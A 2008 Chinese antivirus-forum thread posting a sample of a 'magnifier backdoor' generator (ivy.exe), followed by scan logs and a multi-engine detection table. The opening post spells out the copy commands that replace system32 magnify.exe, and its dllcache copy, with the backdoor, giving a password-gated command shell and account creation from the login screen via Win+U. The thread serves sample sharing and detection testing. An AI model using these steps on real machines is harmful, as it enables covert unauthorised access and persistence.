放大镜后门

显示全部楼层 · 发表于 2008-6-4 09:46:24

设本程序为ivy.exe则运行以下命令即可
copy %systemroot%\system32\magnify.exe %systemroot%\system32\nagnify.exe
copy ivy.exe %systemroot%\system32\magnify.exe
copy ivy.exe %systemroot%\system32\dllcache\magnify.exe

注：win+u，选择放大镜，输入你设定的后门启动密码，可执行
cmd.exe和程序自己添加自定义用户（调用API防止cmd.exe被禁用）
路径不能放在本目录。

Trojan-Downloader.Win32.Delf.hcx

显示全部楼层 · 发表于 2008-6-4 09:47:26

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\桌面\放大镜后门生成器.rar'
C:\Documents and Settings\Administrator\桌面\放大镜后门生成器.rar
  [0] Archive type: RAR
--> ﾷￅﾴ￳ﾾﾵﾺ￳ￃￅ\ivy.exe
   [1] Archive type: RSRC
   --> Object
      [DETECTION] Is the Trojan horse TR/Dldr.Delf.hcx
   [NOTE]    The file was deleted!

显示全部楼层 · 发表于 2008-6-4 12:46:34

金山毒霸 0

显示全部楼层 · 发表于 2008-6-4 13:16:14

D:\病毒测试\临时解压\放大镜后门生成器.rar:\放大镜后门\ivy.exe - 特征码 'Win32.SuspectCrc' 被发现
D:\病毒测试\临时解压\放大镜后门生成器.rar:\放大镜后门\readMe.txt
D:\病毒测试\临时解压\放大镜后门生成器.rar

3 文件被扫描
(1 压缩档 2 文件)
1 特征码被侦测
0 可疑代码段被发现
耗时: 0:00.240

显示全部楼层 · 发表于 2008-6-4 13:26:18

显示全部楼层 · 发表于 2008-6-4 13:28:12

F-prot启发不错

显示全部楼层 · 发表于 2008-6-4 15:56:14

再次过了

显示全部楼层 · 发表于 2008-6-4 16:05:09

Antivirus Version Last Update Result
AhnLab-V3 2008.5.30.1 2008.06.04 -
AntiVir 7.8.0.26 2008.06.04 TR/Dldr.Delf.hcx
Authentium 5.1.0.4 2008.06.04 W32/Heuristic-VFM!Eldorado
Avast 4.8.1195.0 2008.06.04 -
AVG 7.5.0.516 2008.06.04 -
BitDefender 7.2 2008.06.04 -
CAT-QuickHeal 9.50 2008.06.03 -
ClamAV 0.92.1 2008.06.04 -
DrWeb 4.44.0.09170 2008.06.04 -
eSafe 7.0.15.0 2008.06.03 -
eTrust-Vet 31.4.5845 2008.06.03 -
Ewido 4.0 2008.06.03 -
F-Prot 4.4.4.56 2008.06.04 W32/Heuristic-VFM!Eldorado
F-Secure 6.70.13260.0 2008.06.04 -
Fortinet 3.14.0.0 2008.06.04 W32/Generic.A!tr
GData 2.0.7306.1023 2008.06.04 -
Ikarus T3.1.1.26.0 2008.06.04 Win32.SuspectCrc
Kaspersky 7.0.0.125 2008.06.04 -
McAfee 5309 2008.06.03 New Malware.u
Microsoft 1.3604 2008.06.04 -
NOD32v2 3156 2008.06.03 -
Norman 5.80.02 2008.06.03 -
Panda 9.0.0.4 2008.06.04 Suspicious file
Prevx1 V2 2008.06.04 -
Rising 20.47.21.00 2008.06.04 -
Sophos 4.29.0 2008.06.04 Mal/Behav-095
Sunbelt 3.0.1144.1 2008.06.04 -
Symantec 10 2008.06.04 -
TheHacker 6.2.92.333 2008.06.03 -
VBA32 3.12.6.7 2008.06.03 suspected of Embedded.MalwareScope.Trojan-PSW.Game.7
VirusBuster 4.3.26:9 2008.06.03 -
Webwasher-Gateway 6.6.2 2008.06.04 Trojan.Dldr.Delf.hcx

to kl

显示全部楼层 · 发表于 2008-6-4 20:12:52

ivy.exe_ - Trojan.Win32.Delf.cpw

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

Please quote all when answering.

显示全部楼层 · 发表于 2008-6-4 20:21:20

RS20.47.22未杀！

[病毒样本] 放大镜后门

本帖子中包含更多资源

本帖子中包含更多资源

5/0